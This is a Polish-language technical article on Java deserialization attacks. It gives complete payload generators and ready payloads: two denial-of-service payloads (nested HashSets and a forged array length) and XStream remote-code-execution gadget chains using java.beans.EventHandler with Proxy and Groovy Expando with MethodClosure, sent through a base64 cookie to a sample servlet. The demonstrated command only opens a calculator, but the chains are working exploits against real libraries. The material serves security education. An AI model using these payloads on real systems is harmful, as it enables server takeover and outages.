aplikacja Javowa przyjmujaca niezaufane zserializowane dane od uzytkownika,
moze byc¢ celem ataku, bez wzgledu na biblioteki ktérych uzywa (a konkretnie
- nawet jesli nie uzywa zadnych bibliotek)! Przedstawie dwa przyktady, oba prowa-
dzace do ataku typu DoS (ang. Denial of Service).

Rekurencyjne zbiory (java.util.Set)
Rozwazmy ponizszy kod:

1. public class DeserializationDosRecursiveSet {

2 public static void main(String [] args) throws Exception {
3. Set root = new HashSet();

4, Set sl1 = root;

5 Set s2 = new HashSet();

6 for (int i = 0; i < 100; i++) {

7 Set t1 = new HashSet();

8 Set t2 = new HashSet();

9. tl.add("foo");
10. sl.add(tl);
11. sl.add(t2);
12. s2.add(tl);
13. s2.add(t2);
14, sl = tl;

15. s2 = t2;

16. }

17.

18. ObjectOutputStream oos = new ObjectOutputStream(System.out);
19. oos.writeObject(root);
20. }

21.

22. }

Przyktad jest raczej prosty do zrozumienia. W liniach 4-17, tworzymy specyficznie
skonstruowany zbioér (java.util. Set). Nastepnie, wliniach 19-20 serializujemy go
i wypisujemy na standardowe wyjscie. Wyglada to catkowicie niewinnie — owszem,
utworzylismy (i zserializowalismy) okoto 200 zbioréw, ale dla komputera to nic. Zo-
baczmy jednak, co sie stanie, gdy dostarczymy skonstruowany w powyzszy sposob
payload do naszego przyktadowego serwera, opisanego w czesci pierwszej tej serii.
Dla przypomnienia, musimy zakodowac nasz payload w base64, a nastepnie usta-
wic go, jako wartos¢ ciastka data. Po wystaniu nie widzimy nic ciekawego, poza
tym, ze strona nie chce sie przetadowad (serwer przetwarza nasze zapytanie) przez
dtugi czas. Whasciwie, bardzo dtugi czas. Po pewnej chwili mozemy wiec stracic cier-
pliwosc¢ i sprawdzi¢ co sie dzieje — zobaczmy co méwi nam polecenie top:
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Rysunek 1. Wynik polecenia top

Java zjada nam 100% procesora? Nie wyglada to dobrze. Osobom, ktére zdecy-
dowaty sie przetestowac ten kod na swoich maszynach, sugeruje przesta¢ czekag,
i zatrzymac serwer — przetwarzanie zadania nie skoriczy sie w sensownym czasie.
Dlaczego tak sie dzieje? Otéz, winna jest nasza specyficzna konstrukcja - podczas
deserializacji, Java zacznie rekurencyjnie odtwarzac zbiory, co bedzie trwato bardzo
dtugo. Jak dtugo? Zmodyfikujmy lekko nasz kod generujacy zbiory:

1. public class DeserializationDosRecursiveSetCustomizable {

2

3 public static void main(String [] args) throws Exception {

4, Set root = new HashSet();

5 Set sl = root;

6 Set s2 = new HashSet();

7 for (int i = @; i < Integer.parselnt(args[0]); i++) {
8. Set t1 = new HashSet();

9. Set t2 = new HashSet();

10. tl.add("foo");

11. sl.add(tl);

12. sl.add(t2);

13. s2.add(tl);

14. s2.add(t2);

15. sl = ti1;

16. s2 = t2;

17. }

18.

19. ByteArrayOutputStream baos = new ByteArrayOutputStream();
20. ObjectOutputStream oos = new ObjectOutputStream(baos);
21. 0os.writeObject(root);

22. byte [] bytes = baos.toByteArray();

23.

24. ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
25. ObjectInputStream ois = new ObjectInputStream(bais);
26. ois.readObject();

27. }

28.

29. }

Wprowadzone zostaty dwie zmiany. Po pierwsze, teraz ilos¢ zagniezdzonych
zbioréw jest kontrolowana przez argument dostarczany programowi (linia 7).
Druga, ze dokonujemy naraz serializacji i deserializacji, dzieki czemu od razu mo-
zemy sprawdzi¢ jak dtugo nasz payload bedzie deserializowat sie na serwerze.
Sprawdzmy jak wygladaja czasy wykonania powyzszego programu dla argumen-
tu z zakresu [1, 28]:

Rysunek 2. Czasy wykonania programu dla argumentu [1,28]

Dla matej ilosci zbiorow deserializacja trwa krétko, tak wiec czas wykonania jest
wiasciwie losowy (tzn. nie zalezy od naszego payloadu). Od wartosci argumentu
18, mozna jednak zacza¢ zauwazaé pewng prawidtowos¢, ktora jest tym bardziej
widoczna, im wiecej zbiorow chcemy zagniezdzi¢: ot6z, zwiekszenie zagniezdzenia
o 1, powoduje wydtuzenie czasu wykonania dwukrotnie. Jest to typowy przyktad
ztozonosci wyktadniczej. Jak mozna tatwo policzy¢, skoro na moim komputerze dla
28 zbioréw mamy okoto 50s czasu wykonania, dla 100 bedziemy mieli 2'°%%x50s,
czyli wiecej niz 7 biliardéw (7x10") lat! Podkresle réwniez, ze jest to efekt deseriali-
zacji. Rzeczywiscie, nasz oryginalny przyktad serializowat dane z setka zagniezdzo-
nych zbioréw, a wykonywat sie w ciggu utamka sekundy...

Konsekwencja tego jest zatem fakt, ze jednym zadaniem mozemy witasciwie
bezterminowo zawtaszczy¢ jeden z watkdw serwera. Jesli wyslemy odpowiednia
ilos¢ tego typu zadan, zawtaszczymy wszystkie dostepne watki, co bezposrednio
doprowadzi do ataku typu DoS. Zaznacze, ze ilo$¢ zadan koniecznych do wysta-
nia jest stosunkowo mata — efektywnos¢ ataku zalezy od konfiguracji serwera, ale
liczona jest raczej w tysigcach, a nie milionach zapytan. Nie jest potrzebne zatem
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wynajmowanie botnetu - tego typu atak spokojnie mozna przeprowadzi¢ korzy-
stajac z jednej maszyny.

Modyfikacja zserializowanych danych i btqd przepetnienia pamieci
Nasz drugi przyktad bedzie wygladat troche inaczej. Rozwazmy nastepujacy kod:

1. public class DeserializationDosMaxArray {

2

3. public static void main(String [] args) throws Exception {

4, byte [] a = new byte[©O];

5

6 ByteArrayOutputStream baos = new ByteArrayOutputStream();
7 ObjectOutputStream oos = new ObjectOutputStream(baos);
8. oos.writeObject(a);

9. byte [] bytes = baos.toByteArray();

10.

11. bytes[23] = (byte)(Integer.MAX_VALUE >> 24);

12. bytes[24] = (byte)(Integer.MAX_VALUE >> 16);

13. bytes[25] = (byte)(Integer.MAX_VALUE >> 8);

14. bytes[26] = (byte)(Integer.MAX_VALUE);

15.

16. System.out.write(bytes);

17. }

18.

19. }

Jak wczesniej, przyktad jest raczej prosty do zrozumienia. W liniach 4-8 serializujemy
zwykfa tablice bajtow (0-elementowag). W liniach 9-14 dokonujemy recznej modyfi-
kacji kilku bajtow w naszym zserializowanym obiekcie. Ostatecznie w linii 16 wypi-
sujemy nasz cigg bajtow.

Oczywiscie, czytelnik stusznie zauwazyt, ze znalezienie powyzszego kodu
w aplikacji jest wysoce nieprawdopodobne - aplikacja nie bedzie dokonywata
zmian w strukturze zserializowanego obiektu. Przypominam jednak, ze z reguty
jedynie sama czes¢ deserializacji znajduje sie na serwerze, podczas gdy tworzenie
payloadu odbywa sie (a w kazdym razie — moze sie odby¢) na maszynie atakujace-
go. W zwigzku z tym, nie dos¢, ze mozemy stworzy¢ dowolny obiekt, to mozemy
dowolnie modyfikowa¢ strumien bajtéw — w przykfadzie robie to za pomoca kodu
Javowego, ale rownie dobrze mozemy uzy¢ hex-edytora, czy tez narzedzi takich jak
Burp Suite, w celu modyfikacji danych ,w locie”

Co sie stanie, gdy stworzony powyzszym programem payload dostarczymy do
naszej przyktadowej aplikacji? Zajrzyjmy w logi serwera:

Rysunek 3. Logi serwera po dostarczeniu payloadu

Dlaczego tak sie dzieje? Zserializowana tablica musi gdzie$ mie¢ zapisany swoj rozmiar.
Znajduje sie on w bajtach 23-26 (indeksowanych od 0) w naszym zserializowanym
strumieniu (wartos¢ ta moze réznic sie, w zaleznosci od pewnych czynnikéw), co zwe-
ryfikowatem metoda empiryczna. Mozemy zatem zmodyfikowa¢ odpowiednie bajty
i ustawi¢ nieprawdziwy rozmiar tablicy. W wiekszosci przypadkéw nie da nam to zbyt
wiele — jesli rozmiar tablicy bedzie wiekszy niz ilo$¢ zapisanych pézniej elementdw,
serializacja zwrdci wyjatek java.io.EOFException, a jesli mniejszy — wczytamy po
prostu niepetna tablice. Okazuje sie jednak, ze rozmiar tablicy w Javie jest ograniczony
(z reguty bliski wartosci Integer .MAX_VALUE, ale nieznacznie mniejszy; na mojej ma-
szynie: Integer .MAX_VALUE - 2).Jesli bedziemy probowac stworzy¢ tablice wiek-
sz3, juz na etapie alokacji pamieci, Java zwrdci nam btad. Istotny jest fakt, ze btad ten
to java.lang.OutOfMemoryError, ktéry jest wyjatkiem niesprawdzanym (ang. Un-
checked Exception). Programista sprawdza tylko te wyjatki, ktére musi, zatem jest duza
szansa, ze Zle napisany lub skonfigurowany serwer nie przechwyci btedu, a w zwigzku
z tym - JVM zakonczy jego wykonanie. Z punktu widzenia uzytkownika, zakonczenie
programu serwera to kolejny przyktad ataku typu DoS - do momentu jego restartu.

INNE FORMATY SERIALIZAC]I
Zmienmy nieco przedmiot dyskusji. W rozmowach z programistami, czesto sty-
sze, iz powyzsze btedy nie sg czyms$, czym warto sie przejmowac. Pomijajac bezpie-
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czenstwo, natywna serializacja w Javie jest wolna, niezbyt tatwa w uzyciu (przynaj-
mniej w bardziej skomplikowanych przypadkach), a takze — w dzisiejszych czasach
- niezbyt modna. Wiekszo$¢ nowoczesnych aplikacji korzysta z reguty z formatu
XML, albo jeszcze lepiej — JSON.

Mozna polemizowa¢ z powyzszym twierdzeniem. Natywna serializacja jest
w dalszym ciggu uzywana i ma wiele zastosowan — na przyktad w RMI, JMX, czy
w niektorych systemach kolejkowych. W poprzednim artykule wspominatem tez
o tym, jak wiele podatnosci znalezli w duzych produktach specjalisci z FoxGlove
Security. Prawda, ktorej nie da sie jednak ukry¢, jest to, ze z requty komunikacja
serwer-przegladarka (a wiec ta ktéra jest najlatwiejszym i najczesciej spotykanym
medium ataku), korzysta z innych sposobdéw przesytania danych. Czy to oznacza, ze
tego typu aplikacje sg bezpieczne? Zdecydowanie nie. Zauwazmy, ze serializacja
danych (niekoniecznie natywna) jest wszechobecna - XML czy JSON, sg tylko inny-
mi formatami uzywanymi w tym celu. Wszystkich mozliwych formatéw jest bardzo
duzo - niektore binarne (np. natywna serializacja Javowa, czy protobuf), inne tek-
stowe (np. XML, JSON, YAML), jeszcze inne hybrydowe (np. natywna serializacja PHP,
pickle w Python) — a to tylko wybrane przyktady. Mozna réwniez wysuna¢ twierdze-
nie, ze niemal kazda nowoczesna aplikacja uzywa jakiejs$ formy serializacji, w celu
komunikacji i wymiany danych z klientem. Podatnosci deserializacji niekoniecznie
beda obecne zawsze, ale sam fakt uzywania innego formatu, na pewno nas od nich
nie uwalnia. Jako przyktad, rozwazymy biblioteke XStream.

BIBLIOTEKA XSTREAM

XStream jest szeroko uzywang bibliotekg do konwersji obiektéw Javowych na
format XML lub JSON. Nie da sie ukry¢, ze wyglada ona bardzo atrakcyjnie - sprawdz-
my jakie zalety miedzy innymi podkreslaja jej autorzy:

» Ease of use. A high level facade is supplied that simplifies common use cases.

» No mappings required. Most objects can be serialized without need for specifying
mappings.

» Performance. Speed and low memory footprint are a crucial part of the design, making it
suitable for large object graphs or systems with high message throughput.

» Clean XML. No information is duplicated that can be obtained via reflection. This results in
XML that is easier to read for humans and more compact than native Java serialization.

» Requires no modifications to objects. Serializes internal fields, including private and final.
Supports non-public and inner classes. Classes are not required to have default constructor.

» (.)

Aby sprawdzi¢, na ile autorzy powyzszych punktdw maja racje, przeanalizuj-
my ponizszy fragment kodu, zawierajacy bardzo prosty przyktad uzycia biblioteki
Xstream:

1. public class XStreamUsage {

2

3. private String string = "Sample string field";
4.

5 private int integer = 1337;

6

7 public static void main(String[] args) {

8. XStream xStream = new XStream();

9.

10. System.out.println(xStream.toXML(new XStreamUsage()));
11. }

12.

13. }

Powyzszy kod wypisze nastepujacy dokument XML:

1. <XStreamUsage>

2. <string>Sample string field</string>
3. <integer>1337</integer>

4. </XStreamUsage>

Rzeczywiscie, nalezy uchyli¢ czota przed autorami biblioteki. Niezwykle prosty kod,
ktéry w rezultacie daje czysty XML. Nasza przyktadowa klasa (XStreamUsage) nie
musiata by¢ w zaden sposéb zmodyfikowana, wszystko dziata jak nalezy.

tatwosc¢ uzycia, brak mapowan, wysoka wydajnos¢, czysty i czytelny wyjsciowy
XML, brak koniecznosci modyfikacji obiektéw... trzeba przyzna¢, ze wyglada to
$wietnie — niejeden programista skusitby sie na uzycie tej biblioteki. | rzeczywiscie
- okazuje sie, ze duzo powaznych projektéw zdecydowato sie na serializacje przy
uzyciu XStream. Niestety, efektem wspomnianych pluséw sg pewne zagrozenia pty-
nace z uzycia.

XStream vs. java.beans.EventHandler

Zacznijmy od problemu, ktéry nie jest nowy — w 2013 roku Alvaro Muhoz (@pwn-
tester), Dinis Cruz (@DinisCruz) oraz Abraham Kang (@KangAbraham) opublikowa-
li ciekawg podatnos¢ dajaca RCE w kazdej aplikacji Javowej, uzywajacej XStream.
Powodem jej wystapienia byt fakt, ze XStream jest - jak juz wspomniano - bardzo
bogata w mozliwosci biblioteka, umozliwiajagca duzo wiecej niz tylko serializacje
obiektéw typu POJO. Zanim jednak bedziemy w stanie podatnosc¢ te opisa¢, musi-
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my zrozumiec jak dziatajg dwie klasy Javowe: java.lang.reflect.Proxy,ijava.
beans.EventHandler.
Najpierw rozwazmy java.lang.reflect.Proxy. Zajrzyjmy do dokumentacji:

Proxy provides static methods for creating dynamic proxy classes and
instances (...). A dynamic proxy class (simply referred to as a proxy class
below) is a class that implements a list of interfaces specified at runtime
when the class is created, with behavior as described below. {(...)

Co to oznacza? Praktycznie tyle, ze dowolny, Javowy interfejs, mozemy opakowac
powyzszym obiektem Proxy. Takie Proxy z punktu widzenia Javy, bedzie catko-
wicie legalng implementacjg naszego interfejsu - réznica jest taka, ze tworzenie
Proxy odbywa sie w czasie wykonania (runtime), a nie kompilacji. Aby zdefiniowac
zachowanie Proxy (to znaczy: co sie stanie gdy wywotamy na nim metode opako-
wywanego interfejsu), musimy uzy¢ obiektu klasy implementujacej interfejs java.
lang.reflect.InvocationHandler, dostarczanej na etapie konstrukgji. Jakie
handlery mamy zatem dostepne w JRE?

Tu przechodzimy do drugiej istotnej klasy — java.beans.EventHandler.Imple-
mentuje ona wspomniany wczesniej interfejs InvocationHandler.Z dokumentacji:

The EventHandler class provides support for dynamically generating
event listeners whose methods execute a simple statement involving an
incoming event object and a target object. (...)

Hmm, nie wyglada to zbyt obiecujgco... przynajmniej do momentu, w ktérym
uswiadomimy sobie ze znaczy to - ni mniej, ni wiecej — tyle, ze mozemy zdefiniowac
dowolny obiekt, a nastepnie wywota¢ na nim metode! Metoda ta zostanie wywo-
tana wtedy, gdy obiekt EventHandler zostanie o to ,poproszony”... na przykfad
przez Proxy. Zobaczmy to na obrazku (Rysunek 4) — jak bedzie wygladata nasza hie-
rarchia obiektow?

Po stworzeniu powyzszej struktury, wywotanie dowolnej metody na obiekcie
Proxy przez atakowang aplikacje, spowoduje wywotanie wybranej przez nas me-
tody na wybranym przez nas obiekcie. Jak wspomniatem, podatnos$¢ ta prowadzi
do RCE, wiec atakujacy uzyje na przyktad klasy java.lang.ProcessBuilderijej
metody start().

Jaki jest zatem plan? Wyobrazmy sobie aplikacje, ktora otrzymuje dane od uzytkow-
nika (zserializowane za pomoca biblioteki XStream) i je deserializuje. Nastepnie na

zdeserializowanym obiekcie zostaje wykonana dowolna metoda. Jesli jako zseriali-
zowany obiekt dostarczymy odpowiednie Proxy, oznacza to, ze otrzymalismy RCE.

Rysunek 4. Hierarchia obiektow

Aby uzyskac petny kontekst tych rozwazan, przejdzmy do praktyki. Rozwazmy apli-
kacje z pierwszej czesdci artykutu, ktora rézni sie jedynie tym, ze zamiast serializacji
natywnej, uzywa biblioteki Xstream:

1. @WebServlet(
2 name = "Servlet",
3. urlPatterns = {"/"}
4. )
5. public class Servlet extends HttpServlet {
6
7 private XStream xStream;
8.
9. public Servlet() {
10. this.xStream = new XStream();
11. this.xStream.setClassLoader(this.getClass().getClassLoader());
12. }
13.
14. @Override
15. protected void doGet(HttpServletRequest request, HttpServletResponse response)
16. throws ServletException, IOException {
17. Cookie[] cookies = request.getCookies();
18.
19. Data data = null;
20.
21. if (null != cookies) {
22. for (Cookie cookie : cookies) {
23. if (cookie.getName().equals("data")) {
24. data = (Data) xStream.fromXML (
new String(Base64.decodeBase64(cookie.getValue())));
25. }
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}
}
if (null == data) {

data = new Data("Anonymous");
}

request.setAttribute("name", data.getName());
request.getRequestDispatcher("page.jsp").forward(request, response);

}

@Override
protected void doPost(
HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
if (null != request.getParameter("name")) {
Data data = new Data(request.getParameter("name"));

Cookie cookie = new Cookie(
"data", Base64.encodeBase64String(xStream.toXML(data).getBytes()));
response.addCookie(cookie);

}

response.sendRedirect("/");

Oto natomiast definicja klasy Data:

1.
2
3.
4.
5
6
7
8

9.
10.
11.
12.
13.
14.
15.
16.
17. }

public class Data {

private String name;
public Data(String name) {

this.name = name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
¥

Zauwazmy, ze rowniez klasa Data jest praktycznie identyczna z naszym ostatnim
przyktadem. Jedyna réznica, to brak implementowanego interfejsu Serializable
— fakt, ze tego interfejsu nie potrzebujemy - to sita XStream w dziataniu.

64

W porzadku; czyli musimy przygotowac nasze zserializowane za pomocg XStream
Proxy, a nastepnie zakodowac je za pomoca base64, ustawic jako ciastkoi... RCE?

Nie tak szybko! Musimy pokonac¢ jeszcze dwie przeszkody. Pierwsza — czy XStre-
am jest w stanie zserializowac¢ obiekt typu Proxy? Szybkie sprawdzenie w doku-
mentacji, i...

The dynamic proxy itself is not serialized, however the interfaces it im-
plements and the actual InvocationHandler instance are serialized. This
allows the proxy to be reconstructed after deserialization.

Uff. Proxy nie zostanie zserializowane, ale zapisane zostanie wystarczajaco duzo in-
formacji, aby je odbudowac. Do dzieta wiec, stwérzmy nasz pierwszy payload!Java

public class SimplePayloadGenerator {

1.
2
3 public static void main(String[] args) {

4. ProcessBuilder pb = new ProcessBuilder("gnome-calculator");
5

6

7

8

EventHandler handler = new EventHandler(pb, "start", null, null);

IDummyInterface proxy = (
IDummyInterface) Proxy.newProxyInstance(
SimplePayloadGenerator.class.getClassLoader(), new Class[] {
IDummyInterface.class }, handler);
9.
10. System.out.println(new XStream().toXML(proxy));
11. }
12.
13. }

Wykonanie powyzszego kodu da nam nastepujacy XML:

1. <dynamic-proxy>

2 <interface>IDummyInterface</interface>

3 <handler class="java.beans.EventHandler">

4. <target class="java.lang.ProcessBuilder">

5. <command>

6 <string>gnome-calculator</string>

7 </command>

8. <redirectErrorStream>false</redirectErrorStream>
9. </target>

1e. <action>start</action>

11. <!-- Tutaj znajduje sie dtuuugi tag acc -->
12. </handler>

13. </dynamic-proxy>

W powyzszym przyktadzie zostawitem tylko istotne elementy; XML zawiera jeszcze
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bardzo dtugi tag acc, ktéry jest czescig naszego obiektu EventHandler - okazuje
sie jednak, ze nie jest on niezbedny do odbudowania naszej struktury.

Z punktu widzenia exploitacji, plusem jest fakt ze XStream uzywa znakéw druko-
walnych, w fatwym do zrozumienia formacie. Przytoczony dokument XML bylibysmy
w stanie stworzy¢,z palca’, nie musimy sie wiec positkowac specjalnym programem.

Majac nasz payload, wystarczy wysta¢ go do aplikacji i... zaraz, zaraz - wspomi-
natem o dwoch przeszkodach?

Druga przeszkoda, to fakt ze, nasze Proxy zadziata wtedy i tylko wtedy, gdy zo-
stanie zrzutowane na interfejs. Innymi stowy, nie jesteSmy w stanie stworzy¢ Proxy
dla klasy POJO. To problem, poniewaz - jak kazdy programista wie — przy przesyta-
niu danych, pomiedzy serwerem a klientem, wtasciwie zawsze uzywamy obiektow
typu POJO... Czy zatem nie pozostaje nic poza poddaniem sie? Na (nie)szczescie
nie, ale troche bedziemy musieli sie nagimnastykowacd. Zastanéwmy sie, co mozna
zrobi¢, aby rozwigzac ten problem? Gdybysmy mieli dostep do obiektu (klasy), ktory
podczas kreacji korzysta zinnego obiektu za pomoca interfejsu, a nastepnie wywo-
tuje na nim (dowolng) metode, moglibysmy podstawi¢ Proxy pod ten delegowany
obiekt - i nareszcie — uzyskac¢ nasze wymarzone RCE. Okazuje sie, ze taka klasa ist-
nieje (wtasciwie, prawdopodobnie istnieje wiele takich obiektéw, ale skupimy sie
na najprostszym przyktadzie) — jest nig java.util.SortedSet - a konkretnie,
jego implementacja: java.util.TreeSet. SortedSet jest interfejsem, ktéry
poza dziataniem jako zwykty zbidr, (dodaj/usun element, sprawdz czy element jest
w zbiorze itp.) udostepnia rowniez mozliwos¢ porownywania elementow (a zatem
- szukanie elementéw maksymalnych i minimalnych, wypisywanie posortowanego
zbioru, itp.). W jaki sposob jest to osiggalne? Elementy, ktére sa dodawane do tego
zbioru, musza (w uproszczeniu) implementowac interfejs java.lang.Compara-
ble. W momencie operacji na zbiorze, gdy zachodzi koniecznos$¢ poréwnania ele-
mentow (na przyktad - przy dodawaniu nowego elementu do zbioru), wywotywa-
na jest metoda compareTo() z tego interfejsu. Chwileczke, to wyglada ciekawie...
przy dodawaniu elementu (a wiec w szczegdlnosci — tworzeniu zbioru) jest wywoty-
wana pewna metoda na interfejsie? No c6z, chyba nic wiecej nie musze dodawac :-)

Czas stworzy¢ payload. Ponizszy kod powinien zadziata¢:

public class NotSoSimplePayloadGenerator {

1.

2.

3. public static void main(String[] args) throws ClassNotFoundException {
4. ProcessBuilder pb = new ProcessBuilder("gnome-calculator");

5

6. InvocationHandler handler = new EventHandler(pb, "start", null, null);

7.

8. Comparable proxy = (Comparable) Proxy.newProxyInstance(
NotSoSimplePayloadGenerator.class.getClassLoader(), new Class[]

9. { Comparable.class }, handler);

10.

11. Set<Comparable> set = new TreeSet<>();

12. set.add(proxy);

13.

14. System.out.println(new XStream().toXML(proxy));

15. }

16.

17. }

Okazuje sie jednak ze zamiast payloadu, po wykonaniu dostaniemy wyjatek:

Rysunek 5. Wyjgtek po wykonaniu payloadu

W dodatku, nie wiadomo skad, otworzyt sie nam kalkulator. Co sie stato? Otéz nasz
payload dziata zbyt dobrze :-)

W procesie serializacji (a wasciwie nawet przed - w momencie tworzenia zbioru
ktéry chcemy zserializowac), wywotamy przypadkiem metode na naszym Proxy,
ktére wykona nasza komende systemowg i dostaniemy wyjatek rzutowania... Mu-
simy to jakos rozwigzac. Na szczescie, wspomniatem juz, ze payloady dla XStream
sg na tyle proste , ze mozna je tworzy¢ samemu w zwyktym pliku tekstowym. Co
wiecej, jak sie teraz okazuje, czasem trzeba je tworzy¢ w taki sposob... Wymaga to
czytania dokumentacji i/lub eksperymentow, ktére nam pokazg, jak wygladaja tagi
XML tworzone dla poszczegdlnych klas. Ostatecznie dojdziemy do konstrukgji, kto-
ra wyglada — mniej wiecej - jak ponizej:

1. <sorted-set>

2 <dynamic-proxy>

3 <interface>java.lang.Comparable</interface>

4 <handler class="java.beans.EventHandler">

5. <target class="java.lang.ProcessBuilder">

6 <command>

7 <string>gnome-calculator</string>

8 </command>

9. <redirectErrorStream>false</redirectErrorStream>
10. </target>
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11. <action>start</action>
12. </handler>
13. </dynamic-proxy>

14. </sorted-set>

To juz na szczescie koniec. Powyzszy payload wystarczy zakodowac w base64, usta-
wic w ciastku, i odswiezy¢ strone:

Rysunek 6. Wykonanie payloadu

Nareszcie! Razem z wyjatkiem (ktory jest bardzo opisowy, co jest kolejnym przy-
ktadem na to jak przyjemna w uzyciu jest biblioteka XStream — cho¢ w kontekscie
bezpieczenstwa nie koniecznie bedzie to plus...) - wymarzony kalkulator.

XStream vs. groovy.util. Expando
Metoda, ktérej uzylismy w poprzednim przyktadzie, zadziata tylko i wytgcznie
w wersji XStream < 1.4.7. Po opublikowaniu podatnosci, programisci biblioteki za-

blokowali mozliwos¢ jej wykorzystania. Pojawia sie pytanie, w jaki sposdb? Sprawdz-

my change log:

» (...)

» java.bean.EventHandler no longer handled automatically because of severe security
vulnerability.

» (...)

Hmm, zablokowano ,nasz3” klase java.bean.EventHandler. O tym, jak broni¢
sie przed podatnosciami deserializacji, bede pisat w nastepnej czesci artykutu, tutaj
jednak od razu zaznacze, ze powyzsza metoda to dodawanie gadzetéw do ,czar-
nej listy” (ang. gadget blacklisting), zwana bardziej kasliwie (i nie mniej prawdziwie)
— gadget whack-a-mole game. Jak zostanie wyjasnione, metoda ta jest mocno pro-
blematyczna, gdyz historia pokazuje, ze nowe gadzety zawsze zostana odnalezio-
ne... i tak tez sie stato na poczatku tego roku.

Z géry zaznacze, ze nowy sposob exploitacji (znaleziony przez Arshana Dabirsia-
ghi (@nahsra) z firmy Contrast Security), bedzie dziatat tylko w przypadku, gdy na
CLASSPATH dotaczona jest biblioteka Groovy (bedaca de facto nadzbiorem jezyka
Java dziatajacym na JVM). Mamy wiec sytuacje poréwnywalna z tg z poprzedniego
artykutu — czysta Java (tzn. program dziatajacy tylko i wytacznie w oparciu o biblio-
teki z JRE), nie bedzie podatna — musimy mie¢ program z odpowiednia biblioteka.
Po raz kolejny okazuje sie jednak, ze biblioteka ta jest uzywana dos$¢ czesto (dla
przyktadu, o czym pézniej — w Jenkinsie). Co wiecej, nawet jesli kod produkcyjny jej
nie potrzebuje, nierzadko uzywaja jej testy (np. framework Spock). W przypadku,
gdy programista popetni bfad i Zle zdefiniuje zaleznosci (tzn. doda biblioteke do
zaleznosci runtime, zamiast test), uzyskujemy nowe mozliwosci.

Aby urozmaicic¢ artykut (a takze pokaza¢ wprost, ze btedy deserializacji nie sg
efektem podatnosci formatu), tym razem ,poprosimy” XStream aby do serializacji
uzywat JSONa zamiast XML.

Naszym nowym gadzetem, bedzie klasa groovy.util.Expando. Jakie jest jej
przeznaczenie? Dokumentacja jest bardzo lakoniczna:

Represents a dynamically expandable bean.

Hmm, nie moéwi nam to duzo. Moze lektura kodu zrodtowego bedzie bardziej pomoc-
na? Przegladajac go, mozemy zauwazy¢ ciekawg implementacje metody hashCode():
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1. public int hashCode() {

2. Object method = getProperties().get("hashCode");
3. if (method != null && method instanceof Closure) {
4. // invoke overridden hashCode closure method
5. Closure closure = (Closure) method;

6. closure.setDelegate(this);

7. Integer ret = (Integer) closure.call();

8. return ret.intValue();

9. } else {

10. return super.hashCode();

11. }

12. }

W porzadku... czyli - jesli wérod elementéw mapy expandoProperties (zwraca-
nej getterem getProperties()), mamy klucz hashCode i warto$¢ wskazywana
przez ten klucz jest typu groovy.lang.Closure, to wynikiem dziatania naszej
metody, bedzie wynik uruchomienia naszej wartosci Closure — poprzez wywota-
nie na niej metody call(). Czytelnikom niezaznajomionym z podstawami funk-
cjonalnego programowania, wystarczy informacja, ze Closure jest specyficznym
typem funkcji. Closure jest klasg abstrakcyjng, potrzebujemy wiec jakiej$ jej im-
plementacji. Bardzo ciekawie wyglada org.codehaus.groovy.runtime.Meth-
odClosure. Oto fragment z dokumentacji:

Represents a method on an object using a closure which can be invoked
at any time.

Jednym stowem, wywotanie metody call() na naszym obiekcie MethodClosure,
to nic innego jak wywotanie dowolnej metody, na dowolnym obiekcie. W takim ra-
zie, czemu by nie wywota¢ metody start () na obiekcie ProcessBuilder :-)?

Na tym etapie (pomimo wrazenia zagmatwania), istotne jest aby zrozumie¢, ze po
wywotaniu metody hashCode () na zdeserializowanym obiekcie, uzyskujemy RCE.

Chwilal hashCode ()!? Ale w jaki sposéb mamy wywota¢ metode hashCode()?
C6z, siegnijmy do starych trikow i zastanéwmy sie, ktéry obiekt w momencie two-
rzenia wywofa metode hashCode() na dowolnym innym obiekcie... Kazdy kto
miat do czynienia z Java, nie bedzie miat problemu z odpowiedzig na to pytanie:
przyktadem takiej klasy, jest java.util.HashSet. Przy tworzeniu zbioru, musi-
my dodac do niego jego elementy. Aby to zrobi¢, nalezy wywotac na nich metode
hashCode( ). Zatem osiagneliSmy nasz zamierzony efekt :-)

W porzadku, posktadajmy wszystko razem. Ponizszy kod wygeneruje nasz payload:

1. public class PayloadGenerator {

2

3 public static void main(String [] args) {

4. ProcessBuilder pb = new ProcessBuilder("gnome-calculator");
5 MethodClosure mc = new MethodClosure(pb, "start");

6
7
8

Expando expando = new Expando();

o

. HashSet<Expando> set = new HashSet<>();
10.
11. set.add(expando);
12. expando.setProperty("hashCode", mc);
13.
14. System.out.println(new XStream(

new JettisonMappedXmlDriver()).toXML(set));

15. }
16.
17. }

Ciekawostka jest fakt, ze najpierw musimy doda¢ nasz element Expando do zbio-
ru, a dopiero potem ustawi¢ mu property hashCode - jesli zrobimy na odwroét, po
raz kolejny (jak w poprzednim przyktadzie), nasza komenda systemowa wykona sie
zbyt szybko (na etapie tworzenia obiektu ktéry chcemy zserializowad), i tworzenie
payloadu zostanie przerwane.

Po uruchomieniu powyzszego kodu, otrzymamy nastepujacy dokument JSON:

1. {

2. "set": [{

3. "groovy.util.Expando": {

4. "expandoProperties": [{

5. "entry": {

6. "string": "hashCode",

7. "org.codehaus.groovy.runtime.MethodClosure": {
8. "delegate": {

9. "@class": "java.lang.ProcessBuilder",
10. "command": [{

11. "string": "gnome-calculator"

12. 1,

13. "redirectErrorStream”: false

14. }, 15. "owner": {
16. "@class": "java.lang.ProcessBuilder",
17. "@reference": "..\/delegate"

18. 1

19. "resolveStrategy": 0,

20. "directive": o,

21. "parameterTypes": [""],

22. "maximumNumberOfParameters": 0,

23. "method": "start"
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24. }
25. }

26. H

27. }

28. H

Przesledzmy teraz krok po kroku co sie stanie w momencie jego deserializacji:

1. XStream stwierdzi, ze naszym zserializowanym obiektem jest zbior (HashSet). Aby
go zatem odtworzy¢, potrzebujemy zdeserializowac wszystkie jego elementy.

2. Jedynym elementem w naszym zbiorze, jest obiekt typu Expando. XStream spré-
buje go zdeserializowac.

3. Podczas deserializacji, okazuje sie ze nasz obiekt Expando posiada property o na-
zwie hashCode. Property to jest typu MethodClosure.

4. W czasie deserializacji MethodClosure stwierdzamy, ze posiada ona dwa (istotne)
pola — owner i method. Pierwszy jest typu ProcessBuilder (i jego pole command,
to nasza komenda systemowa), drugi to String - start.

5. Po odbudowaniu catego obiektu Expando wraz z zaleznosciami, XStream wywota
na nim metode hashCode() aby pobra¢ wynik funkcji haszujacej, i umiesci¢ zgod-
nie z nim obiekt w zbiorze.

